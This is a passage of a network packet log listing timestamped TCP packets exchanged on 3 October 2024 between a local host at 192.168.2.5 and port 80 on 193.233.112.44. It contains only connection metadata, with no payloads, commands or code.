Oct 3, 2024 23:17:02.938436985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938467979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938471079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938508034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938707113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938740969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938777924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938787937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938793898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938827991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938832045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938862085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938870907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938895941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938901901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938930988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938935995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938966036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938971043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939002037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939007998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939038038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939048052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939074993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939083099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939117908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939276934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939310074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939322948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939343929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939351082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939378023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939395905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939448118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939475060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939482927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939491987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939518929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939526081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939553022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939574957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939587116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939594030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939621925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939630985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939656973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939666986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939691067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939696074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939729929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.939732075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.939773083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962323904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962382078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962388039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962423086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962431908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962460041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962466002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962501049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962519884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962564945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962568045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962610960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962620974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962651014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962666035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962685108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962692022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962719917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962726116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962749958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962755919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962785006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962795019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962820053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962913990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962950945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962961912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.962985992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.962991953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963021994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963031054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963058949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963066101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963105917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963110924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963148117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963150024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963191032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963200092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963234901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963242054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963268995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963275909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963304043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963310003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963339090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963341951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963373899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963381052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963428020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963460922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963495016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963502884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963530064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963536024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963570118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963583946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963618040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963629007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963651896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963660002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963692904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963717937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963749886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963761091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963783979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963794947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963820934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963829994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963855982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.963861942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.963896990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001188993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001239061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001274109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001295090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001306057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001324892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001342058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001343966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001383066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001398087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001432896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001441002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001466990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001471043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001502037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001509905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001534939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001540899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001569986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001574039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001604080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001614094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001638889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001645088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001674891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.001679897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.001718044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028253078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028323889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028350115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028359890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028378963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028394938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028409958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028429985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028440952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028464079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028470993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028498888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028506041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028533936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028543949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028568029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028578043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028620005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028626919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028656960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028661966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028692007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028697014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028728962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028733015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028769016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028791904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028826952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028834105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028860092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028868914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028901100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028913021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028947115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028956890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.028980970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.028986931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029016018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029026031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029050112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029062986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029087067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029090881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029120922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029129028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029156923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029161930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029194117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029201031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029237032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029758930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029792070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029802084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029827118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029836893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029861927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029867887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029901981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029912949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029946089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029956102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.029979944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.029989004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030014038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030021906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030046940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030056953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030081034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030091047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030122995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030123949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030157089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030180931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030190945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030200005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030225039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030235052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030268908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030689001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030724049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030740023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030757904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030761957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030792952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030798912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030827045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030832052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030862093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030865908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030894995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030900002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030929089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030932903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.030961990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.030994892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031012058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031012058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031029940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031059027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031064034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031090021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031099081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031106949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031137943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031150103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031168938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031183004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031213045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031873941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031924009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031934023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031960011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.031966925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.031996012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032002926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032031059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032037973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032068014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032073975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032107115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032109976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032147884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032156944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032182932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032190084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032217026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032224894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032252073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032285929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032286882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032295942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032320976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032326937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032355070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.032365084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.032397985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.052979946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053042889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053066015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053082943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053087950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053119898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053129911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053164959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053698063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053766012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053770065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053808928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053822041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053839922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053867102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053874969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053899050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053916931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053929090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053960085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.053976059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.053998947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054034948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054048061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054048061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054075956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054090977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054126978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054135084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054158926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054181099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054193974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054205894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054239035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054244995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054279089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054290056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054312944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054322004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054347992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054363012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054383039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054385900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054430008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054441929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054476976 CEST	80	49710	193.233.112.44	192.168.2.5
